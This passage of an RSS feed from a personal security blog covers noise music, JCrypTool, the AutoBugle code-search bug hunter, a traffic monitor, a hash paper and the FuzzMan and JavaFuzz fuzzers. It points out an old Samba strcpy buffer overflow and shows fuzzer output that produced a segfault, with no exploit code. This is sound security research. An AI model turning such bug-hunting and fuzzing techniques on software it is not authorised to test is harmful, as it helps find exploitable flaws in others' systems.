&lt;p style=&quot;text-align:center;&quot;&gt;&lt;img style=&quot;border:0 initial initial;&quot; title=&quot;sndscreenshot-takenfromsndsite-300x169&quot; src=&quot;/assets/sndscreenshot-takenfromsndsite-300x169.png&quot; alt=&quot;sndscreenshot-takenfromsndsite-300x169&quot; width=&quot;300&quot; height=&quot;169&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I also used several of the example scripts that come with these packages and in cases that I couldn&apos;t create a specific &quot;colour&quot;, I used  a bit of artistic license and normal mixing (subtractive and additive) &lt;code&gt;e.g. yellow + red = orange. &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example script to generate Green Noise (bounded brownian noise) :&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;&lt;span style=&quot;color:green;&quot;&gt;(definstrument (green3 start dur freq amp amp-env noise-freq noise-width noise-max-step)&lt;br /&gt;
(let* ((grn (make-green-noise-interp :frequency noise-freq&lt;br /&gt;
:amplitude noise-max-step&lt;br /&gt;
:high (* 0.5 noise-width) :low (* -0.5 noise-width)))&lt;br /&gt;
(osc (make-oscil freq))&lt;br /&gt;
(e (make-env amp-env :scaler amp :duration dur))&lt;br /&gt;
(beg (seconds-&amp;gt;samples start))&lt;br /&gt;
(end (+ beg (seconds-&amp;gt;samples dur))))&lt;br /&gt;
(run&lt;br /&gt;
(lambda ()&lt;br /&gt;
(do ((i beg (+ 1 i)))&lt;br /&gt;
((= i end))&lt;br /&gt;
(outa i (* (env e)&lt;br /&gt;
(+ 1.0 (green-noise-interp grn))&lt;br /&gt;
(oscil osc))))))))&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span style=&quot;color:green;&quot;&gt; &lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span style=&quot;color:green;&quot;&gt;(with-sound ()&lt;br /&gt;
(green3 0 2.0 440 .5 &apos;(0 0 1 1 2 1 3 0) 100 .2 .02))&lt;/span&gt;&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Finally, all colours mix with the prior colour/s right after they introduce themselves.&lt;br /&gt;
&lt;code&gt;Something like : Colours[0], Colours[1], Colours[0]+Colours[1], Colours[2], .........&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
On the foreground , there is a minimalistic piano composition which tries to not distract too much from the background colours and helps in assisting the after rain &quot;Rainbow&quot; effect.&lt;/p&gt;
&lt;p align=center&gt;
	
	&lt;img class=&quot;alignnone size-full wp-image-304&quot; title=&quot;noisevssubversivecomputing-300x213&quot; src=&quot;/assets/noisevssubversivecomputing-300x213.jpg&quot; alt=&quot;noisevssubversivecomputing-300x213&quot; width=&quot;300&quot; height=&quot;213&quot; /&gt;
	&lt;br&gt;	&lt;caption align=&quot;bottom&quot;&gt;&lt;strong&gt;Noise vs. Subversive Computing&lt;/strong&gt;&lt;/caption&gt;&lt;br&gt;&lt;br&gt;
&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For more information&lt;/strong&gt; about the project, the participants and their very interesting ideas,&lt;br /&gt;
visit : &lt;a href=&quot;http://www.myspace.com/pascalcretain&quot;&gt;http://www.myspace.com/pascalcretain&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The compilation has been released with&lt;br /&gt;
&lt;a href=&quot;http://www.myspace.com/pascalcretain&quot;&gt;Computationally Infeasible Records&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Mon, 22 Jun 2009 18:17:45 +0000</pubDate>
        <link>http://cipher.org.uk/2009/06/22/the-art-of-noise/</link>
        <guid isPermaLink="true">http://cipher.org.uk/2009/06/22/the-art-of-noise/</guid>
        
        <category>computing</category>
        
        <category>noise</category>
        
        <category>sound</category>
        
        
        <category>Articles</category>
        
      </item>
    
      <item>
        <title>JCrypTool</title>
        <description>&lt;p&gt;Recently I&apos;ve been invited by the &lt;a href=&quot;http://www.cryptool.com/&quot;&gt;CrypTool&lt;/a&gt; team to contribute to the &lt;a href=&quot;http://jcryptool.sourceforge.net/&quot;&gt;JCrypTool&lt;/a&gt; project. I&apos;ve been following CryptTool for some time and it is definitely one of the best tools to practice and experiment with cryptography and cryptanalysis.&lt;/p&gt;
&lt;p&gt;Looking at the latest JCrypTool version, it is apparent that there are vast design improvements, it is also more modular, which makes the extensibility of the project a very easy task. There are several algorithms to use, symmetric, assymetric, hash, MAC etc. So there are lots of things to play with!&lt;/p&gt;

&lt;p align=center&gt;
&lt;img class=&quot;alignnone size-full wp-image-364&quot; title=&quot;jcrypttool2-300x221&quot; src=&quot;/assets/jcrypttool2-300x221.png&quot; alt=&quot;jcrypttool2-300x221&quot; width=&quot;300&quot; height=&quot;221&quot; /&gt; 
&lt;img class=&quot;alignnone size-full wp-image-365&quot; title=&quot;jcrypttool3-300x243&quot; src=&quot;/assets/jcrypttool3-300x243.png&quot; alt=&quot;jcrypttool3-300x243&quot; width=&quot;300&quot; height=&quot;243&quot; /&gt;
&lt;br&gt;
&lt;caption align=&quot;bottom&quot;&gt;&lt;strong&gt;Diffie-Hellman /AES&lt;/strong&gt;&lt;/caption&gt;
&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;In the Cryptanalysis part of the tool, there is a Columnar Transposition module, Frequency analysis graphs, a&lt;a href=&quot;http://en.wikipedia.org/wiki/Friedman_test&quot;&gt;Friedman Test function&lt;/a&gt; and a Vigenere analyser/helper, so there is space for additions. Speaking of additions, I particularly like the  &lt;a href=&quot;http://jcryptool.wiki.sourceforge.net/ExtensionPointsAndArchitecture&quot;&gt;plugins architecture&lt;/a&gt; in use, which makes the project very interesting indeed.&lt;/p&gt;
&lt;p align=center&gt;
&lt;img class=&quot;alignnone size-full wp-image-367&quot; title=&quot;jcrypttool1-300x182&quot; src=&quot;/assets/jcrypttool1-300x182.png&quot; alt=&quot;jcrypttool1-300x182&quot; width=&quot;300&quot; height=&quot;182&quot; /&gt;
&lt;img class=&quot;alignnone size-full wp-image-366&quot; title=&quot;jcrypttool4-300x172&quot; src=&quot;/assets/jcrypttool4-300x172.png&quot; alt=&quot;jcrypttool4-300x172&quot; width=&quot;300&quot; height=&quot;172&quot; /&gt;
&lt;br&gt;&lt;caption align=&quot;bottom&quot;&gt;&lt;strong&gt;Frequency Analysis / Shark&lt;/strong&gt;&lt;/caption&gt;
&lt;br&gt;
&lt;/p&gt;&lt;br&gt;
&lt;p&gt;In the past, I developed a simple cryptanalysis &lt;a href=&quot;http://www.cipher.org.uk/2006/04/04/jipher-v02a/&quot;&gt;tool&lt;/a&gt; which I am now intending to move into JCrypTool in the form of a plugin and possibly doing the same for a very old &lt;a href=&quot;http://www.cipher.org.uk/read/2002/05/10/joystickcrypt/&quot;&gt;project&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I recommend you go and have a look at &lt;a href=&quot;http://jcryptool.sourceforge.net/JCrypTool/Home.html&quot;&gt;it&lt;/a&gt;&lt;a&gt;.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Sun, 22 Feb 2009 21:07:01 +0000</pubDate>
        <link>http://cipher.org.uk/2009/02/22/jcryptool/</link>
        <guid isPermaLink="true">http://cipher.org.uk/2009/02/22/jcryptool/</guid>
        
        <category>cryptanalysis</category>
        
        <category>cryptography</category>
        
        <category>tool</category>
        
        
        <category>Articles</category>
        
      </item>
    
      <item>
        <title>Source code review with AutoBugle</title>
        <description>&lt;p&gt;&lt;strong&gt;&lt;br /&gt;
Note: Auto Bugle is a discontinued project&lt;br /&gt;
&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt; &lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt; &lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;This article is kept just for &lt;strong&gt;reference&lt;/strong&gt;. I will try to package the source code and give it as a download at some point.&lt;/p&gt;&lt;/blockquote&gt;
&lt;hr /&gt;Some time ago I start creating a list of google queries (Bugle) people could use to hunt bugs in source code available in the web. The project started before Google Code Search, so the only way to point to source code was using the Filetype and &lt;span style=&quot;text-decoration:underline;&quot;&gt;? * .&lt;/span&gt; operators which worked pretty well. After a couple  of months Google announced the Code Search service and the accompanied API which made things much more interesting. Using the new Google service people  can supply full regular expression when searching and pinpoint to Bugs a bit more accurately.&lt;/p&gt;
&lt;p&gt;Anyway, to cut a long story short, utilising &lt;a title=&quot;jQuery&quot; href=&quot;http://jquery.com/&quot;&gt;jQuery&lt;/a&gt;, &lt;a title=&quot;Google Code Search API&quot; href=&quot;http://code.google.com/apis/codesearch/&quot;&gt;Google Code Search API&lt;/a&gt; and &lt;a title=&quot;Bugle&quot; href=&quot;http://www.cipher.org.uk/bugle/&quot;&gt;Bugle&lt;/a&gt;, I created an &lt;span style=&quot;text-decoration:line-through;&quot;&gt;&lt;span style=&quot;color:#0000ff;&quot;&gt;automated version&lt;/span&gt;&lt;/span&gt; of the Bugle project which  looks as close as possible to a desktop based source code review tool.&lt;/p&gt;
&lt;p&gt;&lt;img class=&quot;alignnone size-full wp-image-370&quot; title=&quot;bugleautosnapshot1&quot; src=&quot;/assets/bugleautosnapshot1.png&quot; alt=&quot;bugleautosnapshot1&quot; width=&quot;433&quot; height=&quot;394&quot; /&gt;&lt;br /&gt;
To demonstrate Bugle Automated I will be looking for bugs in Samba. The first step is to add the package you want to inspect in the Scan field, as you can see below there is Auto Complete functionality available suggesting possible packages while you type a name.&lt;/p&gt;
&lt;p&gt;&lt;img class=&quot;alignnone size-full wp-image-371&quot; title=&quot;bugleautostep1&quot; src=&quot;/assets/bugleautostep1.png&quot; alt=&quot;bugleautostep1&quot; width=&quot;598&quot; height=&quot;237&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After choosing a package, press scan an Bugle will do the rest.&lt;/p&gt;
&lt;p&gt;The first screen you see is a bit empty , both the Main Panel and the Stats Panel will load as soon as you choose a vulnerability category from the left side. Bugle displays the number of issues of each category, so you can immediately get an general idea on where you might find a bug.&lt;/p&gt;
&lt;p&gt;&lt;img class=&quot;alignnone size-medium wp-image-372&quot; title=&quot;bugleautostep2&quot; src=&quot;/assets/bugleautostep2.png?w=233&quot; alt=&quot;bugleautostep2&quot; width=&quot;233&quot; height=&quot;300&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As soon as you choose a category a sub menu will be revealed, presenting all the different signatures in that category. At the same time the statistics Panel will load and all the relevant graphs for the project/categories and categories/signatures will be displayed.&lt;/p&gt;
&lt;p&gt;&lt;img class=&quot;alignnone size-medium wp-image-373&quot; title=&quot;bugleautostep6&quot; src=&quot;/assets/bugleautostep6.png?w=300&quot; alt=&quot;bugleautostep6&quot; width=&quot;300&quot; height=&quot;145&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next we choose the Buffer Overflows category, with 205 hits and then the Generic BoF signature (with 50 hits). The Main Panel loads and then we can see each individual line with a possible bug. We scroll down until we find something that could be a vulnerability and click on that line.&lt;br /&gt;
&lt;img class=&quot;alignnone size-medium wp-image-374&quot; title=&quot;bugleautostep4&quot; src=&quot;/assets/bugleautostep4.png?w=300&quot; alt=&quot;bugleautostep4&quot; width=&quot;300&quot; height=&quot;136&quot; /&gt;&lt;br /&gt;
We click the Line 117 of samba-1.9.15p8.mvs/source/sockspy.c and we inspect the code in the Code Snippet dialog. Then we scroll down until we find the  line with the yellow highlighted text&lt;br /&gt;
&lt;img class=&quot;alignnone size-medium wp-image-375&quot; title=&quot;bugleautostep5&quot; src=&quot;/assets/bugleautostep5.png?w=300&quot; alt=&quot;bugleautostep5&quot; width=&quot;300&quot; height=&quot;284&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can see that   strcpy(DestHost,argv[1]);  is copying the arv[1] into the DestHost buffer which has 256 chars size. Now we can guess that if we pass in the command line DestHost larger than 256 chars we can create a buffer overflow condition. (Note that this bug in sockspy.c is in a very very very old version of Samba)&lt;/p&gt;
&lt;p&gt;That&apos;s &lt;span style=&quot;color:#0000ff;&quot;&gt;&lt;span style=&quot;text-decoration:line-through;&quot;&gt;Bugle Auto Scanner&lt;/span&gt;&lt;/span&gt;, hopefully this will assist in discovering and fixing bugs out there.&lt;/p&gt;
</description>
        <pubDate>Tue, 05 Feb 2008 22:23:40 +0000</pubDate>
        <link>http://cipher.org.uk/2008/02/05/source-code-review-with-bugle/</link>
        <guid isPermaLink="true">http://cipher.org.uk/2008/02/05/source-code-review-with-bugle/</guid>
        
        <category>bugle</category>
        
        <category>google</category>
        
        <category>Security</category>
        
        <category>source code</category>
        
        <category>tool</category>
        
        
        <category>Articles</category>
        
      </item>
    
      <item>
        <title>Packedelic</title>
        <description>&lt;p style=&quot;line-height:18px;margin:0 0 15px;padding:0;&quot;&gt;&lt;strong&gt;Traffic Monitoring Tool&lt;/strong&gt; [&lt;a style=&quot;color:#004477;text-decoration:underline;margin:0;padding:0;&quot; href=&quot;http://cipher.org.uk/assets/PackedelicSetup.zip&quot;&gt;Java/WinInstaller&lt;/a&gt;]- [&lt;a style=&quot;color:#004477;text-decoration:underline;margin:0;padding:0;&quot; href=&quot;/assets/packedelicss.jpg&quot;&gt;Screenshot&lt;/a&gt;]&lt;/p&gt;
&lt;p style=&quot;line-height:18px;margin:0 0 15px;padding:0;&quot;&gt;Packedelic is a Traffic monitoring tool. It is based on &lt;a style=&quot;color:#004477;text-decoration:underline;margin:0;padding:0;&quot; href=&quot;http://sourceforge.net/projects/jpcap&quot;&gt;JPCAP&lt;/a&gt; (Java pcap) library. Youn can see traffic using &lt;a style=&quot;color:#004477;text-decoration:underline;margin:0;padding:0;&quot; href=&quot;http://jpcap.sourceforge.net/javadoc/net/sourceforge/jpcap/client/CaptureTool.html&quot;&gt;CaptureTool&lt;/a&gt; (jpcap) and hear it using Java midi. The sound idea (very experimental at the moment) came to me from &lt;a style=&quot;color:#004477;text-decoration:underline;margin:0;padding:0;&quot; href=&quot;http://www.myspace.com/pascalcretain&quot;&gt;Pascal Cretain&lt;/a&gt; and the visual idea by the lack of free windows based &lt;a style=&quot;color:#004477;text-decoration:underline;margin:0;padding:0;&quot; href=&quot;http://etherape.sourceforge.net/&quot;&gt;etherape&lt;/a&gt;-like tools. You can use it in linux as well if you install the jpcap linux module. &lt;span style=&quot;color:red;margin:0;padding:0;&quot;&gt;WinPcap is required&lt;/span&gt; &lt;a style=&quot;color:#004477;text-decoration:underline;margin:0;padding:0;&quot; href=&quot;http://www.winpcap.org/install/default.htm&quot;&gt;Download Here&lt;/a&gt;&lt;/p&gt;</description>
        <pubDate>Sun, 12 Aug 2007 09:10:32 +0000</pubDate>
        <link>http://cipher.org.uk/2007/08/12/Packedelic/</link>
        <guid isPermaLink="true">http://cipher.org.uk/2007/08/12/Packedelic/</guid>
        
        <category>monitoring</category>
        
        <category>tool</category>
        
        
        <category>Projects</category>
        
      </item>
    
      <item>
        <title>Using Steganography to Improve HASH Functions’ collision resistance</title>
        <description>&lt;p&gt;Abstract:&lt;br /&gt;
Lately, hash function security has received increased attention. Especially after the recent attacks that were presented for SHA-1 and MD5, the need for a new and more robust hash function has become imperative. Even though many solutions have been proposed as replacements, the transition to a new function could be costly and complex.&lt;/p&gt;
&lt;p&gt;In this paper, we introduce a mode of operation that can be applied to any existing or future hash function in order to improve its collision resistance. In particular, we use steganography, the art of hiding a message into another message, to create a scheme, named Σ-Hash, which enforces the security of hashing algorithms. We will demonstrate how, apart from hash function security, Σ-Hash can also be used for securing Open Source code from tampering attacks and other applications.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Conference: SECRYPT - International Conference on Security and Cryptography, Spain 2007&lt;br /&gt;
Authors: &lt;a href=&quot;http://www.cipher.org.uk&quot;&gt;Emmanouel Kellinis&lt;/a&gt; and Konstantinos Papapanagiotou &lt;/em&gt;&lt;/p&gt;
&lt;p&gt;If you need more information about this paper, &lt;a href=&quot;http://www.cipher.org.uk/about/&quot;&gt;get in touch&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Wed, 08 Aug 2007 21:38:28 +0000</pubDate>
        <link>http://cipher.org.uk/2007/08/08/using-steganography-to-improve-hash-functions-e2-80-99-collision-resistance/</link>
        <guid isPermaLink="true">http://cipher.org.uk/2007/08/08/using-steganography-to-improve-hash-functions-e2-80-99-collision-resistance/</guid>
        
        
        <category>Publications</category>
        
      </item>
    
      <item>
        <title>FuzzMan - man pages based fuzzer</title>
        <description>&lt;p&gt;&lt;img src=&quot;/assets/fuzzman.jpg&quot; alt=&quot;&quot; /&gt; &lt;em&gt;Fuzzing using man pages&lt;/em&gt; This article is to introduce a (probably) new fuzzing idea  (&lt;a href=&quot;http://cipher.org.uk/2007/04/18/fuzzman-man-pages-based-fuzzer/&quot;&gt;FuzzMan&lt;/a&gt;)  that is built around man pages. Many know that in *nix systems if you type &lt;strong&gt;man command&lt;/strong&gt; you  will get a &lt;a href=&quot;http://en.wikipedia.org/wiki/Manual_page_%28Unix%29&quot;&gt;manual page&lt;/a&gt; informing you on how to use a specific tool. So by just looking at the manual  you can find out pretty much in seconds what type of argument and what options are offered by  any given command.&lt;/p&gt;
&lt;p&gt;The format which man pages follow is universal (mostly), so it is not very difficult to  make a script and extract the offered options - which is exactly what gave me the idea of making a tool that can generate fuzzing data based on manual pages. Based on that  concept we can fuzz as accurately as possible any command that has a man page.&lt;/p&gt;
&lt;p&gt;So lets take a command and generate fuzzing data.&lt;/p&gt;
&lt;p&gt;The choice for this example is &quot;shar&quot; &lt;em&gt;- GNU sharutils 4.2.1&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Shar&lt;/strong&gt; creates  &quot;shell  archives&quot;  (or  shar files) which are in text format and can be mailed.  These files may be unpacked later by executing them with /bin/sh.  The resulting archive is sent to standard out unless the -o option is  given.&lt;/p&gt;
&lt;p&gt;Below you can see how a man page looks in the console&lt;br /&gt;
&lt;img src=&quot;/assets/fuzzman1.jpg&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
or have a look at the On-line &lt;strong&gt;Shar&lt;/strong&gt; &lt;a href=&quot;http://linuxmanpages.com/man1/shar.1.php&quot;&gt;Manual page&lt;/a&gt;There are several options available for this command and therefore the fuzzer has to generate lots of combinations. Fuzzman catches signals so if you see that you have enough combinaitons you can press ctrl-c.&lt;br /&gt;
if you type &lt;strong&gt;./fuzzman.pl shar&lt;/strong&gt; you get :&lt;/p&gt;
&lt;p&gt;&lt;code&gt;=== Extract arguments for &quot;shar&quot; ===&lt;br /&gt;
STANDARD&lt;br /&gt;
: --version&lt;br /&gt;
: --print-text-domain-dir&lt;br /&gt;
: --help&lt;br /&gt;
: --version&lt;br /&gt;
:        -q&lt;br /&gt;
:        -p&lt;br /&gt;
:        -Z&lt;br /&gt;
:        -S&lt;br /&gt;
:        -z&lt;br /&gt;
:        -o&lt;br /&gt;
:        -l&lt;br /&gt;
:        -L&lt;br /&gt;
:        -n&lt;br /&gt;
.&lt;br /&gt;
.&lt;br /&gt;
.&lt;br /&gt;
: --no-i18n&lt;br /&gt;
: --print-text-domain-dir&lt;br /&gt;
ADDITIONAL&lt;br /&gt;
: EXTRA BoF Arg&lt;br /&gt;
: EXTRA Format String Arg&lt;br /&gt;
: EXTRA Numbers  Arg&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;:Number of Arguments :36 &lt;strong&gt;&amp;lt;=== it is not 100% accurate&lt;/strong&gt; but is very close&lt;/p&gt;
&lt;p&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;=== Generate Fuzzing Script ===&lt;br /&gt;
+STOP GENERATOR WITH CTRL-C&lt;br /&gt;
:Agrument combinations  : 1040  &lt;strong&gt;&amp;lt;== This is the combinations counter&lt;/strong&gt;&lt;br /&gt;
:Partial shar.sh, not all combinations have been generated&lt;br /&gt;
:Run fuzzing script [sh shar.sh]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We can see above that there are approximately 36 options. That would create several thousand combinations so I stopped it at 1040 combinations. Fuzzman tried different options adding arguments that could potentially lead to different overflow types, now the shar.sh script is ready.&lt;/p&gt;
&lt;p&gt;Starting the shar.sh will execute the command 1040 times.&lt;br /&gt;
&lt;img src=&quot;/assets/fuzzman2.jpg&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
As we can see above we hit into a bug, Segmentation fault is always a sign.&lt;/p&gt;
&lt;p&gt;You can download Fuzzman from &lt;a href=&quot;https://github.com/cphr/fuzzman&quot;&gt;here&lt;/a&gt;,&lt;br /&gt;
Enjoy&lt;em&gt; &lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt; &lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: This version of Sharutils have been reported for both Buffer Overflow and Format string vulns some time ago  (&lt;a href=&quot;http://securityfocus.com/archive/1/359639/30/0/threaded&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://securityfocus.com/bid/11298/info&quot;&gt;here&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;
</description>
        <pubDate>Wed, 18 Apr 2007 08:54:10 +0000</pubDate>
        <link>http://cipher.org.uk/2007/04/18/fuzzman-man-pages-based-fuzzer/</link>
        <guid isPermaLink="true">http://cipher.org.uk/2007/04/18/fuzzman-man-pages-based-fuzzer/</guid>
        
        <category>fuzzing</category>
        
        <category>idea</category>
        
        <category>tool</category>
        
        
        <category>Articles</category>
        
      </item>
    
      <item>
        <title>JavaFuzz</title>
        <description>&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/cphr/javafuzz/releases/tag/0.7.5&quot;&gt;Java Fuzzer&lt;/a&gt;&lt;/strong&gt; [&lt;a href=&quot;https://github.com/cphr/javafuzz/&quot;&gt;Manual Page&lt;/a&gt;]-[&lt;a href=&quot;https://github.com/cphr/javafuzz/&quot;&gt;Example Bug&lt;/a&gt;]&lt;br /&gt;
Java classes fuzzer based on the the Java Reflection API. The reflection API represents, or reflects, the classes, interfaces, and objects in the current Java Virtual Machine. Using the reflection API it can contruct and invoke any given class (or list of classes). After getting the types that a class accepts will construct the classes using inappropriate values. JavaFuzz is also hosted at &lt;strike&gt;&lt;a href=&quot;http://code.google.com/p/javafuzz/&quot;&gt;Google Projects&lt;/a&gt;&lt;/strike&gt; github with source code &lt;a href=&quot;https://github.com/cphr/javafuzz/&quot;&gt;here&lt;/a&gt; .&lt;/p&gt;
</description>
        <pubDate>Tue, 23 Jan 2007 16:07:59 +0000</pubDate>
        <link>http://cipher.org.uk/2007/01/23/javafuzz/</link>
        <guid isPermaLink="true">http://cipher.org.uk/2007/01/23/javafuzz/</guid>
        
        <category>fuzzing</category>
        
        <category>java</category>
        
        <category>tool</category>
        
        
        <category>Projects</category>
        
      </item>
    
  </channel>
</rss>
